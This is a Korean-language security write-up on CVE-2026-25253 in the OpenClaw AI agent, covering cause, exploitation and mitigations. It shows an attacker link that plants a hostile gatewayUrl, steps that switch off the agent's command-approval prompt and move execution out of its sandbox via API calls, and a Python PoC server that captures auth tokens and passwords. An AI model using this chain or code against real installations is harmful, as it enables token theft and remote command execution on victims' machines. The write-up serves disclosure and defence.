1. OpenClaw

- 사용자의 컴퓨터에서 직접 실행되는 오픈 소스 자율형 AI 에이전트 (구 Clawdbot·Moltbot) [1]

> 텔레그램 등 메신저를 통해 명령을 내리면 파일 읽기, 파일 생성, 브라우저 제어, 이메일 전송 등의 작업을 처리

2. 취약점

[사진 1] CVE-2026-25253 [2]

- 사용자 입력으로 제공된 gatewayUrl 값에 대한 적절한 검증없이 사용하여 인증 토큰 유출 및 원격 명령 실행으로 이어지는 취약점

영향받는 버전
- OpenClaw 2026.1.28 이하 버전

 

- app-settings.ts는 URL에 gatewayUrl 쿼리 스트링이 있을 경우, 해당 값을 검증없이 읽어 localStore에 저장 [3]

> 공격자가 hxxps://localhost?gatewayUrl=attacker[.]com 링크를 보내 피해자가 이를 클릭하면 attacker[.]com 을 로컬에 저장

const gatewayUrlRaw = params.get("gatewayUrl");
...
if (gatewayUrlRaw != null) {
  const gatewayUrl = gatewayUrlRaw.trim();
  if (gatewayUrl && gatewayUrl !== host.settings.gatewayUrl) {
    applySettings(host, { ...host.settings, gatewayUrl }); // persisted via saveSettings -> localStorage
  }
}

 

- app-lifecycle.ts는 새로운 설정이 적용되면, connectGateway()를 통해 연결 시도

> attacker[.]com으로 연결 시도

handleConnected(host) {
  ...
  connectGateway(host); // runs immediately on load after parsing URL params
  startNodesPolling(host);
  ...
}

 

- gateway.ts는 서버와 연결할 때 인증을 위해 authToken를 포함한 JSON 값을 응답에 포함하여 전송

> 공격자는 응답에 포함된 authToken 탈취 및 재사용

const params = { ... , authToken, locale: navigator.language };
void this.request<GatewayHelloOk>("connect", params);

[사진 2] authToken이 포함된 응

- OpenClaw는 사용자의 로컬 환경에서 작동하며, 위험한 명령을 실행하기 전 사용자에게 메시지 발생

> 유효한 토큰을 탈취하였다 하더라도, 임의 명령을 실행하기에 제한적

> 공격자는 이를 우회하기 위할 필요가 있으며, CSWSH샌드박스 탈출로 이를 달성할 수 있음

구분 설명
CSWSH - Cross-Site WebSocket Hijacking : 사이트 간 요청을 통해 사용자의 WebSocket 연결을 가로채는 공격 [4]
- 브라우저는 SOP(Same-Origin Policy) 보안 정책을 따름
> 어떤 출처(Origin)에서 불러온 문서 또는 스크립트가 다른 출처의 리소스와 상호작용하는 것을 제한
> 브라우저는 연결 시 Origin 헤더를 전송하여 서버가 이를 검증 및 허용 여부를 결
> WebSocketSOP의 제한을 받지않아 서로 다른 도메인 간의 연결이 가능

- OpenClaw의 WebSocket 서버는 WebSocket Origin 헤더를 검증하지 못하고 모든 사이트의 요청을 수락
> CSWSH를 통해 attacker[.]com에 접근하면 피해자의 브라우저에서 JavaScript를 실행하여 ws://localhost:18789에 연결할 수 있음
샌드박스 탈출 - OpenClaw는 기본적으로 exec-approval.json을 사용해 위험 명령 실행 전 메시지를 표시하며, 샌드박스 내에서 셸 도구를 실행하도록 구성할 수 있음
> 해당 기능은 API를 통해 관리되므로, API를 사용해 비활성화 할 수 있음
① 사용자 확인 비활성화 : exec.approvals.set 요청을 보내 ask: "off"로 설정 (메시지 미표시)
② 컨테이너 탈출 : config.patch 요청을 보내 tools.exec.host를 "gateway"로 설정 (호스트 머신에 직접 명령 실행 가능)

3. PoC

- 대상 시스템에서 WebSocket을 통해 공격자의 서버에 접속하도록 유도하여 token, password 탈취 [5][6]

...
@sock.route("/")
def websocket(ws):
    while True:
        # 공격 대상으로부터 전송된 데이터 수신
        data = ws.receive()
        if data is None:
            break

        try:
            # JSON 데이터 파싱 및 token, password 탈취
            message = json.loads(data)
            auth = message["params"]["auth"]

            if "token" in auth:
                token = auth["token"]
                print(f"Exploit successful: {token}")

                global TOKEN
                TOKEN = token

            elif "password" in auth:
                password = auth["password"]
                print(f"Exploit successful: {password}")

                global PASSWORD
                PASSWORD = token

            else:
                print("No token or password found")
        except:
            print(f"Received invalid message `{data}`, ignoring...")
            raise
 ...
    app.run(host="0.0.0.0", port=13337, debug=True)

4. 대응방안

- 벤더사 제공 업데이트 적용 [7]

> 업데이트 적용이 불가할 경우 토큰 및 API 키 폐기 후 재발급 권고

취약점 제품명 영향받는 버전 해결 버전
CVE-2026-25253 OpenClaw 2026.1.28 이하 2026.1.29

 

- 해당 취약점 외 OpenClaw 보안 우려를 고려한 보안 설정 적용

> OpenClaw가 데이터에 접근 및 수정하지 못하도록 읽기 권한만 부여

> 사용 가능한 도구 목록 지정 (WhiteList 방식) 및 목록 외 도구 사용 시 보안성 검토

> 격리된 환경에서 사용 및 민감 데이터가 저장된 PC에서 사용 지양 등

5.참고

[1] https://openclaw.ai/
[2] https://nvd.nist.gov/vuln/detail/CVE-2026-25253
[3] https://depthfirst.com/post/1-click-rce-to-steal-your-moltbot-data-and-keys
[4] https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking
[5] https://github.com/ethiack/moltbot-1click-rce
[6] https://hackers-arise.com/cve-2026-25253-how-malicious-links-can-steal-authentication-tokens-and-compromise-openclaw-ai-systems/
[7] https://github.com/openclaw/openclaw/security/advisories/GHSA-g8p2-7wf7-98mq
[8] https://www.cio.com/article/4131963/%EC%98%A4%ED%94%88%ED%81%B4%EB%A1%9C%EB%B0%9C-%EB%B3%B4%EC%95%88-%EB%A6%AC%EC%8A%A4%ED%81%AC-%ED%99%95%EC%82%B0%C2%B7%C2%B7%C2%B7ciso%EB%A5%BC-%EC%9C%84%ED%95%9C-%ED%95%B5%EC%8B%AC-%EC%A0%90%EA%B2%80.html
[9] https://www.gartner.com/en/documents/7381830
[10] https://www.microsoft.com/en-us/security/blog/2026/02/19/running-openclaw-safely-identity-isolation-runtime-risk/
[11] https://blogs.cisco.com/ai/personal-ai-agents-like-openclaw-are-a-security-nightmare
[12] https://www.aitimes.com/news/articleView.html?idxno=206484
[13] https://www.yna.co.kr/view/AKR20260206070300017
[14] https://www.boannews.com/media/view.asp?idx=142321&page=1&kind=1

+ Recent posts